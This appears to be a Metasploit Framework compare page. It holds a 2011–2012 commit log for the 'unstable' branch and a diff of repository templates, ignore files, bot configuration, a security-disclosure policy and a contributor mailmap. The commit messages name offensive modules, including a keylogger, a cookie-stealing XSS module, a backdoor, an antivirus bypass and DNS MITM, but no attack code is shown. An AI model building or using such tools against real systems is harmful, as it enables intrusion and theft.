sinn3r 2ac59b27bb Put snortdcerpc.rb as incomplete, because this needs to be merged and tested with the current version that's in master 2012-04-12 03:48:55 -05:00
sinn3r f3e060294c Merge branch 'unstable' of github.com:rapid7/metasploit-framework into unstable 2012-04-10 22:58:09 -05:00
sinn3r 32ccbbbe45 Put dameware_mrc4.rb in unreliable due to bad rets. 2012-04-10 22:55:43 -05:00
Johnny Vestergard dfed9e2864 now working with random URIPATH 2012-03-23 09:00:17 +01:00
Johnny Vestergard e18f4dd40e removed ununsed variable 2012-03-23 07:53:59 +01:00
Johnny Vestergard 76dad50dd7 better description 2012-03-22 21:12:36 +01:00
Johnny Vestergard 67e16aed62 remove TODO method 2012-03-22 13:11:40 +01:00
Johnny Vestergard db447932c0 cleanup 2012-03-22 13:09:45 +01:00
Tod Beardsley 5dbb395e24 Adding enum_bing_url to unstable. 2012-03-21 09:32:59 -05:00
Johnny Vestergard 2477978613 typo 2012-03-21 12:01:01 +01:00
Johnny Vestergard e7974c50bb cookie logger XSS module 2012-03-21 11:56:32 +01:00
sinn3r 83ee6f65ef Put pull request 246 to unstable, because a lot of work is still required for proper implementation 2012-03-20 11:33:25 -05:00
sinn3r cb6e187a39 Put UPlusFTP Server to the incomplete branch 2012-03-16 01:10:45 -05:00
sinn3r 2765cf1ad7 Add untested Cisco ACS 4.1 UCP module to unstable-modules. Cannot install UCP: "The parameter is incorrect" 2012-02-24 15:19:01 -06:00
sinn3r 30f958206e Add Death Shadow Dark's untested yahoo player m3u exploit 2012-02-18 03:13:19 -06:00
sinn3r 4fc5b143f8 This thing shouldn't be here. good bye 2012-02-10 13:06:30 -06:00
sinn3r 5af77686ab Correct pull request number 2012-02-10 13:05:30 -06:00
sinn3r 2369ee9dc9 This one is in the wrong path 2012-02-10 12:57:27 -06:00
sinn3r 26e86e97cd Move hp_dataprotector_cmdexec to the correct directory 2012-02-10 12:49:36 -06:00
sinn3r e726e35144 Add pull request 193 2012-02-10 12:37:10 -06:00
sinn3r 91dca74f85 Merge branch 'unstable' of github.com:rapid7/metasploit-framework into unstable 2012-02-10 12:34:23 -06:00
sinn3r 1e04d27e52 Update modules/exploits/multi/misc/hp_dataprotector_cmdexec.rb 2012-02-10 12:32:28 -06:00
sohilgarg bd9e1f8d76 Update modules/exploits/multi/misc/hp_dataprotector_cmdexec.rb 2012-02-10 12:29:25 -06:00
sohilgarg 10c9200d8e Update modules/exploits/multi/misc/hp_dataprotector_cmdexec.rb
Conflicts:

	modules/exploits/multi/misc/hp_dataprotector_cmdexec.rb
2012-02-10 12:25:09 -06:00
Tod Beardsley d8f3bbc35e Adding javascript_keylogger to unstable for now. 2012-02-06 09:34:45 -06:00
Tod Beardsley b73f28f295 Adding the d20tftp ansync backdoor module.
It works as is, but needs some strategy to get this usuable in all UI
contexts. Right now, it's pretty msfconsole dependant. One way to fix
would be simply to have a datastore['CMD'] option and have that be the
default usage -- control the interactive bit with a seperate action
entirely.
2012-01-19 10:28:39 -06:00
Tod Beardsley f737643447 Moving telnet_encrypt_keyid_bruteforce.rb to unstable-modules
Missing some things. An ExploitRanking to start, also has some hardcoded
NOPs, and really probably should just be combined with the existing
targeted module.
2012-01-11 14:02:19 -06:00
Tod Beardsley 60520ccc8c Adds clshack's transparent WebRICK http proxy.
Can't really use as is because it uses WebRICK instead of
Msf::Exploit::Remote::HttpServer .
2012-01-09 08:00:46 -06:00
Tod Beardsley 66c55cfc6d Moving winlocalprv_esc out of unstable
Or else I will forget to do it later.

See commit e204923 for comments there.

[See #5211]
2011-12-30 14:57:25 -06:00
Tod Beardsley c0e762335e Moving DDG into aux, whoops. 2011-12-30 13:18:11 -06:00
mHarshal ef7246f409 update KBlist and winlocalprv_esc.rb reference ticket: http://dev.metasploit.com/redmine/issues/5211 2011-12-30 13:09:05 -06:00
Tod Beardsley 6a5ccf7c1e Adding some warning comments to duckduckpassword.
Basically, these should never ship as-is, because:

  * It makes more sense to implement as a plugin.
  * As a module, it's pretty incompatible with Metasploit CE.
  * It violates DDG's terms of service, and will get you blacklisted by DDG

But, it uses some neat techniques that maybe some other, more sane and
stable modules, could make use of.
2011-12-30 11:04:44 -06:00
Tod Beardsley ebbf2f48d2 Moving duckduckpassword module and script to unstable. 2011-12-30 11:01:40 -06:00
Tod Beardsley 4bb959e504 Adds a hash looker-upper, and a resource script to automate it. 2011-12-30 10:56:40 -06:00
Tod Beardsley 1298377f04 Initial commit of DuckDuckPassword module 2011-12-30 10:56:28 -06:00
Tod Beardsley 8ca20488bc Syncing unstable project with unstable branch
See #6078, moving the Dameware module out of the unstable project and
dropping into the unstable branch.
2011-12-19 09:16:46 -06:00
Tod Beardsley f11aed7175 Merge branch 'issue_3386_cisco' into unstable
See #3386. Merging pello's Cisco VPN groupname module into unstable,
pending more work to get it included in master.
2011-12-18 11:07:06 -06:00
Tod Beardsley 8f8c10171d Merge branch 'master' of github_r7:rapid7/metasploit-framework into unstable 2011-12-18 10:55:17 -06:00
Tod Beardsley 7fe6b31354 Merge branch 'master' of github_r7:rapid7/metasploit-framework into issue_3386_cisco 2011-12-18 10:54:42 -06:00
Tod Beardsley 391752d815 Merge branch 'unstable' of github_r7:rapid7/metasploit-framework into unstable 2011-12-16 22:39:15 -06:00
Tod Beardsley b9b33afbde Adding a README specifically for the unstable branch.
If you see the README.unstable file in the master branch, it means
something's gone horribly wrong. Unstable should never be merged back to
master directly, though individual modules (once they're no longer
unstable) can and hopefully will make it up into master.
2011-12-16 22:37:22 -06:00
Tod Beardsley 2645b34a5a Adding pello's EAP-MD5 bruteforce module
See #4439.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:22 -06:00
Tod Beardsley 13b401558c Adding pello's hsrp_hijacking module.
See #4568. Note that this module was originally written for Racket, so
it needs to be converted to PacketFu.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:22 -06:00
Tod Beardsley 27fe357478 Adding YGN's joomla_filter_order_aux module
See #4660.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:21 -06:00
Tod Beardsley 992ab6ba38 Adding YGN's dns_mitm module
See #4711.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:21 -06:00
Tod Beardsley d2b7c83d7d Adding Marc's virusscan_bypass8_8 meterpreter script
See #4721.

This is part of an effort to move modules (and scripts)
from Redmine and drop them into GitHub for easier tracking
and collaboration.
2011-12-16 22:37:21 -06:00
Tod Beardsley 0a7cf7d625 Adding Kx449's unpriv_wmic module
See #5205.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:21 -06:00
Tod Beardsley db83e02705 Adding Harshal's winlocalprv_esc module
See #5211.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:20 -06:00
Tod Beardsley 4b51535616 Adding KP's oracle_erp_sqli1 module
See #5384.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:20 -06:00
Tod Beardsley 6d6220f402 Adding Jeremy's syslog vploit modules
See #5479.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:20 -06:00
Tod Beardsley 9a4d105aed Adding jabra's local_admin_pwnage_scanner
See #5514.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:19 -06:00
Tod Beardsley fe849d665a Adds jabra's enum_users script to unstable
See #5794.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:19 -06:00
Tod Beardsley 8a36bf7d09 Moving arachni, part two 2011-12-16 22:37:19 -06:00
Tod Beardsley cf6445a21c Moving arachni to the unstable-plugins dir 2011-12-16 22:37:18 -06:00
Tod Beardsley 115dcd275f Adds the Arachni plugin and modules to unstable
See #3028. Adding the arachni material to unstable. In order to commit
to master, these need to be tested, but I've run into a few small
problems with getting Arachni functional (see
https://github.com/Zapotek/arachni/issues/119 for my gem woes)

I'll loop back around to that.

Also, the arachni plugin includes some kind of autopwn-like feature. I'm
not sure what it does yet but it seems long and complicated, and
probably should be removed at this point, given the lack of the other
autopwners.
2011-12-16 22:37:18 -06:00
Tod Beardsley cbca39032b Moving the unstable project to metasploit proper.
This includes a ton of incomplete, unreliable, and otherwise unstable
modules. They all had some work done on them at some point, but need
some fostering in order to get promoted into the master Metasploit
branch.

Moving them here will hopefully bring a little more visibility to these
projects, and in many cases, be a nice starting point for someone who
wants to get started contributing to Metasploit Framework.
2011-12-16 22:37:17 -06:00
Tod Beardsley bd63c76823 Adds the Arachni plugin and modules to unstable
See #3028. Adding the arachni material to unstable. In order to commit
to master, these need to be tested, but I've run into a few small
problems with getting Arachni functional (see
https://github.com/Zapotek/arachni/issues/119 for my gem woes)

I'll loop back around to that.

Also, the arachni plugin includes some kind of autopwn-like feature. I'm
not sure what it does yet but it seems long and complicated, and
probably should be removed at this point, given the lack of the other
autopwners.
2011-12-13 15:57:56 -06:00
Tod Beardsley 3e3e46700f Moving the unstable project to metasploit proper.
This includes a ton of incomplete, unreliable, and otherwise unstable
modules. They all had some work done on them at some point, but need
some fostering in order to get promoted into the master Metasploit
branch.

Moving them here will hopefully bring a little more visibility to these
projects, and in many cases, be a nice starting point for someone who
wants to get started contributing to Metasploit Framework.
2011-12-13 15:38:03 -06:00
Tod Beardsley 3d18c26fd9 Convert from Bit-Struct to regular struct, some other cleanup work. 2011-12-02 17:12:29 -06:00
Tod Beardsley ddcb01d77e See #3386, initial commit for 2010-4354.
Post-MSFtidy, still needs a bunch of work tho (see ticket)
2011-12-02 15:00:36 -06:00
8075 changed files with 167759 additions and 825465 deletions
-105
View File
@@ -1,105 +0,0 @@
.dockerignore
.gitignore
.env*
docker-compose*.yml
docker/
!docker/msfconsole.rc
!docker/entrypoint.sh
!docker/database.yml
Dockerfile
README.md
.git/
.github/
.ruby-version
.ruby-gemset
.bundle
Gemfile.local
Gemfile.local.lock
# Rubymine project directory
.idea
# Sublime Text project directory (not created by ST by default)
.sublime-project
# RVM control file, keep this to avoid backdooring Metasploit
.rvmrc
# Allow for a local choice of (unsupported / semi-supported) ruby versions
# See PR #4136 for usage, but example usage for rvm:
# rvm --create --versions-conf use 2.1.4@metasploit-framework
# Because rbenv doesn't use .versions.conf, to achieve this same functionality, run:
# rbenv shell 2.1.4
.versions.conf
# YARD cache directory
.yardoc
# Mac OS X files
.DS_Store
# database config for testing
config/database.yml
# target config file for testing
features/support/targets.yml
# simplecov coverage data
coverage/
doc/
external/source/meterpreter/java/bin
external/source/meterpreter/java/build
external/source/meterpreter/java/extensions
external/source/javapayload/bin
external/source/javapayload/build
# Java binary ignores. Replace the 5 above with this once we're merged.
external/source/javapayload/*/.classpath
external/source/javapayload/*/.project
external/source/javapayload/*/.settings
external/source/javapayload/*/bin
external/source/javapayload/*/target
external/source/javapayload/*/*/.classpath
external/source/javapayload/*/*/.project
external/source/javapayload/*/*/.settings
external/source/javapayload/*/*/bin
external/source/javapayload/*/*/target
# Packaging directory
pkg
tags
*.swp
*.orig
*.rej
*~
# Ignore backups of retabbed files
*.notab
# ignore Visual Studio external source garbage
*.suo
*.sdf
*.opensdf
*.user
# Rails log directory
/log
# Rails tmp directory
/tmp
# ignore release/debug folders for exploits
external/source/exploits/**/Debug
external/source/exploits/**/Release
# Avoid checking in Meterpreter binaries. These are supplied upstream by
# the metasploit-payloads gem.
data/meterpreter/*.dll
data/meterpreter/*.php
data/meterpreter/*.py
data/meterpreter/*.bin
data/meterpreter/*.jar
data/meterpreter/*.lso
data/android
data/java
# Avoid checking in Meterpreter libs that are built from
# private source. If you're interested in this functionality,
# check out Metasploit Pro: https://metasploit.com/download
data/meterpreter/ext_server_pivot.*.dll
# Avoid checking in metakitty, the source for
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
/metakitty
.vagrant
# no need for rspecs
spec/
+41
View File
@@ -0,0 +1,41 @@
## Steps to reproduce
How'd you do it?
1. ...
2. ...
This section should also tell us any relevant information about the
environment; for example, if an exploit that used to work is failing,
tell us the victim operating system and service versions.
## Expected behavior
What should happen?
## Current behavior
What happens instead?
You might also want to check the last ~1k lines of
`/opt/metasploit/apps/pro/engine/config/logs/framework.log` or
`~/.msf4/logs/framework.log` for relevant stack traces
## System stuff
### Metasploit version
Get this with the `version` command in msfconsole (or `git log -1 --pretty=oneline` for a source install).
### I installed Metasploit with:
- [ ] Kali package via apt
- [ ] Omnibus installer (nightly)
- [ ] Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp)
- [ ] Source install (please specify ruby version)
### OS
What OS are you running Metasploit on?
-54
View File
@@ -1,54 +0,0 @@
---
name: Bug Report 🐞
about: Something isn't working as expected? Here is the right place to report.
labels: "bug"
---
<!--
Please fill out each section below, otherwise, your issue will be closed. This info allows Metasploit maintainers to diagnose (and fix!) your issue as quickly as possible.
Useful Links:
- Wiki: https://github.com/rapid7/metasploit-framework/wiki
- Reporting a Bug: https://github.com/rapid7/metasploit-framework/wiki/Reporting-a-Bug
Before opening a new issue, please search existing issues: https://github.com/rapid7/metasploit-framework/issues
-->
## Steps to reproduce
How'd you do it?
1. ...
2. ...
This section should also tell us any relevant information about the
environment; for example, if an exploit that used to work is failing,
tell us the victim operating system and service versions.
## Were you following a specific guide/tutorial or reading documentation?
If yes link the guide/tutorial or documentation you were following here, otherwise you may omit this section.
## Expected behavior
What should happen?
## Current behavior
What happens instead?
### Metasploit version
Get this with the `version` command in msfconsole (or `git log -1 --pretty=oneline` for a source install).
## Additional Information
If your version is less than `5.0.96`, please update to the latest version and ensure your issue is still present.
If the issue is encountered within `msfconsole`, please run the `debug` command using the instructions below. If the issue is encountered outisde `msfconsole`, or the issue causes `msfconsole` to crash on startup, please delete this section.
1. Start `msfconsole`
2. Run the command `set loglevel 3`
3. Take the steps necessary recreate your issue
4. Run the `debug` command
5. Copy all the output below the `===8<=== CUT AND PASTE EVERYTHING BELOW THIS LINE ===8<===` line and make sure to **REMOVE ANY SENSITIVE INFORMATION.**
6. Replace these instructions and the paragraph above with the output from step 5.
-5
View File
@@ -1,5 +0,0 @@
blank_issues_enabled: false
contact_links:
- name: Termux Issues?
url: https://github.com/rapid7/metasploit-framework/issues/11023
about: Termux is not officially supported, check here for more info
-42
View File
@@ -1,42 +0,0 @@
---
name: Documentation 📝
about: Suggest better docs coverage for a particular tool or process.
labels: "suggestion-docs"
---
<!--
To make it easier for us to help you, please include as much useful information as possible.
Useful Links:
- Wiki: https://github.com/rapid7/metasploit-framework/wiki
Before opening a new issue, please search existing issues https://github.com/rapid7/metasploit-framework/issues
-->
## Summary
What problem(s) did you run into that caused you to request additional documentation? What questions do you think we should answer? What, if any, existing documentation relates to this proposal?
Some recommended topics to cover:
- List the topics you think should be here.
- This list does not need to be exhaustive!
### Motivation
Why should we document this and who will benefit from it?
## Steps to resolve this issue
<!-- Your suggestion may require additional steps. Remember to add any relevant labels. Note that you'll need to fill in the link to a similar article as well as the correct section. Don't worry if you're not yet sure about these, especially if this is a brand new topic! -->
### Draft the doc
- [ ] Write the doc, following the format listed in these resources:
- [Overview on contributing module documentation](https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation)
- [Docs Templates](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md)
- [Example of a similar article]()
### Open a pull request
- [ ] Open a pull request with your work including the words "closes #[this issue's number]" in the pull request description
@@ -1,26 +0,0 @@
---
name: Feature Suggestion 💡
about: Suggest a new idea for the project.
labels: "suggestion-feature"
---
<!--
To make it easier for us to help you, please include as much useful information as possible.
Useful Links:
- Wiki: https://github.com/rapid7/metasploit-framework/wiki
Before opening a new issue, please search existing issues https://github.com/rapid7/metasploit-framework/issues
-->
## Summary
Brief explanation of the feature.
### Basic example
If the proposal involves a new or changed API, include a basic code example. Omit this section if it's not applicable.
### Motivation
Why are we doing this? What use cases does it support? What is the expected outcome?
@@ -1,26 +0,0 @@
---
name: Module Suggestion 📦
about: Suggest a new module idea to include in framework.
labels: "suggestion-module"
---
<!--
To make it easier for us to help you, please include as much useful information as possible.
Useful Links:
- Wiki: https://github.com/rapid7/metasploit-framework/wiki
Before opening a new issue, please search existing issues https://github.com/rapid7/metasploit-framework/issues
-->
## Summary
Brief explanation of the module.
### Basic example
If you have a POC, blog post or any other useful references please let us know in this section.
### Motivation
Why are we doing this? What use cases does it support? What is the expected outcome?
-20
View File
@@ -1,20 +0,0 @@
---
name: Question 🤔
about: Usage question or discussion about Metasploit.
labels: "question"
---
<!--
To make it easier for us to help you, please include as much useful information as possible.
Useful Links:
- Wiki: https://github.com/rapid7/metasploit-framework/wiki
Before opening a new issue, please search existing issues https://github.com/rapid7/metasploit-framework/issues
-->
## Summary
## Relevant information
<!-- Provide as much useful information as you can -->
+1 -20
View File
@@ -1,8 +1,7 @@
Tell us what this change does. If you're fixing a bug, please mention
the github issue number.
Please ensure you are submitting **from a unique branch** in your [repository](https://github.com/rapid7/metasploit-framework/pull/11086#issuecomment-445506416) to master in Rapid7's.
## Verification
List the steps needed to make sure this thing works
@@ -12,22 +11,4 @@ List the steps needed to make sure this thing works
- [ ] ...
- [ ] **Verify** the thing does what it should
- [ ] **Verify** the thing does not do what it should not
- [ ] **Document** the thing and how it works ([Example](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/post/multi/gather/aws_keys.md))
If you are opening a PR for a new module that exploits a **specific** piece of hardware or requires a **complex or hard-to-find** testing environment, we recommend that you send us a demo of your module executing correctly. Seeing your module in action will help us review your PR faster!
Specific Hardware Examples:
* Switches
* Routers
* IP Cameras
* IoT devices
Complex Software Examples:
* Expensive proprietary software
* Software with an extensive installation process
* Software that requires exploit testing across multiple significantly different versions
* Software without an English language UI
We will also accept demonstrations of successful module execution even if your module doesn't meet the above conditions. It's not a necessity, but it may help us land your module faster!
Demonstration of successful module execution can take the form of a packet capture (pcap) or a screen recording. You can send pcaps and recordings to [msfdev@metaspolit.com](mailto:msfdev@metaspolit.com). Please include a CVE number in the subject header (if applicable), and a link to your PR in the email body.
-35
View File
@@ -1,35 +0,0 @@
# Reporting security issues
Thanks for your interest in making Metasploit more secure! If you feel
that you have found a security issue involving Metasploit, Meterpreter,
Recog, or any other Rapid7 open source project, you are welcome to let
us know in the way that's most comfortable for you.
## Via ZenDesk
You can click on the big blue button at [Rapid7's Vulnerability
Disclosure][r7-vulns] page, which will get you to our general
vulnerability reporting system. While this does require a (free) ZenDesk
account to use, you'll get regular updates on your issue as our software
support teams work through it. As it happens [that page][r7-vulns] also
will tell you what to expect when it comes to reporting vulns, how fast
we'll fix and respond, and all the rest, so it's a pretty good read
regardless.
## Via email
If you're more of a traditionalist, you can email your finding to
security@rapid7.com. If you like, you can use our [PGP key][pgp] to
encrypt your messages, but we certainly don't mind cleartext reports
over email.
## NOT via GitHub Issues
Please don't! Disclosing security vulnerabilities to public bug trackers
is kind of mean, even when it's well-intentioned, since you end up
dropping 0-day on pretty much everyone right out of the gate. We'd prefer
you didn't!
[r7-vulns]:https://www.rapid7.com/security/disclosure/
[pgp]:https://keybase.io/rapid7/pgp_keys.asc?fingerprint=9a90aea0576cbcafa39c502ba5e16807959d3eda
-125
View File
@@ -1,125 +0,0 @@
# Configuration for Github App - https://github.com/dessant/label-actions
#
# Note: Be aware of the edge cases of YAML when writing multiline strings:
# - https://yaml-multiline.info/
# - https://github.com/dessant/label-actions/issues/1
pulls:
actions:
attic:
close: true
comment: |
Thanks for your contribution to Metasploit Framework! We've looked at this pull request, and we agree that it seems like a good addition to Metasploit, but it looks like it is not quite ready to land. We've labeled it `attic` and closed it for now.
What does this generally mean? It could be one or more of several things:
- It doesn't look like there has been any activity on this pull request in a while
- We may not have the proper access or equipment to test this pull request, or the contributor doesn't have time to work on it right now.
- Sometimes the implementation isn't quite right and a different approach is necessary.
We would love to land this pull request when it's ready. If you have a chance to address all comments, we would be happy to reopen and discuss how to merge this!
needs-docs:
comment: |
Thanks for your pull request! Before this can be merged, we need the following documentation for your module:
- [Writing Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation)
- [Template](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md)
- [Examples](https://github.com/rapid7/metasploit-framework/tree/master/documentation/modules)
needs-linting:
comment: |
Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.
We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:
```
rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>
```
You can automate most of these changes with the `-a` flag:
```
rubocop -a <directory or file>
```
Please update your branch after these have been made, and reach out if you have any problems.
needs-unique-branch:
close: true
comment: |
Thanks for your pull request! We require for all contributed code to come from a **from a unique branch** in your repository before it can be merged.
Please create a new branch in your fork of framework and resubmit this from that branch.
If you are using Git on the command line that may look like:
```
# Checkout the master branch
git checkout master
# Create a new branch for your feature
git checkout -b <BRANCH_NAME>
# Add your new files
git add modules/my-cool-new-module
# Commit your changes with a relevant message
git commit
# Push your changes to GitHub
git push origin <BRANCH_NAME>
# Now browse to the following URL and create your pull request!
# - https://github.com/rapid7/metasploit-framework/pulls
```
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
Please do resubmit from a unique branch, we greatly value your contribution! :tada:
needs-testing-environment:
comment: |
Thanks for your pull request! As part of our landing process, we manually verify that all modules work as expected.
We have been unable to test this module successfully. This may be due to software or hardware requirements we cannot replicate.
To help unblock this pull request, please:
- Comment with links to documentation on how to set up an environment, and provide exact software version numbers to use
- Or comment guided steps on how to set up our environment for testing this module
- Or send pcaps/screenshots/recordings of it working - you can email us msfdev[at]rapid7.com
Once there's a clear path for testing and evaluating this module, we can progress with this further.
needs-pull-request-template:
close: false
comment: |
When creating a pull request, please ensure that the default pull request template has been updated with the required details.
issues:
actions:
termux:
comment: |
Termux is not officially supported. https://github.com/rapid7/metasploit-framework/issues/11023
However, Metasploit reportedly does work with Termux.
Refer to the following for more information:
* https://wiki.termux.com/wiki/Metasploit_Framework
* termux/termux-packages/issues/715
needs-issue-template:
close: true
comment: |
When creating an issue, please ensure that the default issue template has been updated with the required details.
Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.
potato:
close: true
comment: |
When creating an issue, please ensure that the default issue template has been updated with the required details.
Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.
-36
View File
@@ -1,36 +0,0 @@
on:
schedule:
- cron: "0 15 * * *"
name: Stale Bot workflow
jobs:
build:
name: stale
runs-on: ubuntu-latest
steps:
- name: stale
id: stale
uses: actions/stale@v3
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
days-before-stale: 30
days-before-close: 30
operations-per-run: 25
stale-issue-message: |
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. Its been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
close-issue-message: |
Hi again!
Its been 60 days since anything happened on this issue, so we are going to close it.
Please keep in mind that Im only a robot, so if Ive closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
exempt-issue-labels: |
not-stale,confirmed,easy,newbie-friendly,suggestion,suggestion-module,suggestion-feature,suggestion-docs
debug-only: false
+1 -13
View File
@@ -78,22 +78,10 @@ data/java
# Avoid checking in Meterpreter libs that are built from
# private source. If you're interested in this functionality,
# check out Metasploit Pro: https://metasploit.com/download
# check out Metasploit Pro: http://metasploit.com/download
data/meterpreter/ext_server_pivot.*.dll
# Avoid checking in metakitty, the source for
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
/metakitty
.vagrant
# local docker compose overrides
docker-compose.local*
.env
# Ignore python bytecode
*.pyc
rspec.failures
#Ignore any base disk store files
db/modules_metadata_base.pstore
+72 -84
View File
@@ -1,44 +1,58 @@
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
adamgalway-r7 <adamgalway-r7@github> <adam_galway@rapid7.com>
adfoster-r7 <adfoster-r7@github> <alandavid_foster@rapid7.com>
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
cdelafuente-r7 <cdelafuente-r7@github> Christophe De La Fuente <christophe_delafuente@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
cgranleese-r7 <cgranleese-r7@github> <christopher_granleese@rapid7.com>
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
gwillcox-r7 <gwillcox-r7@github> <Grant_Willcox@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
jinq102030 <jinq102030@github> <jqian@rapid7.com>
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com>
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
smcintyre-r7 <smcintyre-r7@github> <spencer_mcintyre@rapid7.com>
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> <todb@metasploit.com>
todb-r7 <todb-r7@github> <todb@packetfu.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> <wvu@nmt.edu>
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
acammack-r7 <acammack-r7@github> Adam Cammack <Adam_Cammack@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> Brian Patterson <Brian_Patterson@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> bpatterson-r7 <Brian_Patterson@rapid7.com>
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> Brendan <bwatters@rapid7.com>
bwatters-r7 <bwatters-r7@github> Brendan Watters <bwatters@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
gmikeska-r7 <gmikeska-r7@github> Greg Mikeska <greg_mikeska@rapid7.com>
gmikeska-r7 <gmikeska-r7@github> Gregory Mikeska <greg_mikeska@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> James Barnett <James_Barnett@rapid7.com>
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> <james_lee@rapid7.com>
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
khayes-r7 <khayes-r7@github> l0gan <Kirk_Hayes@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
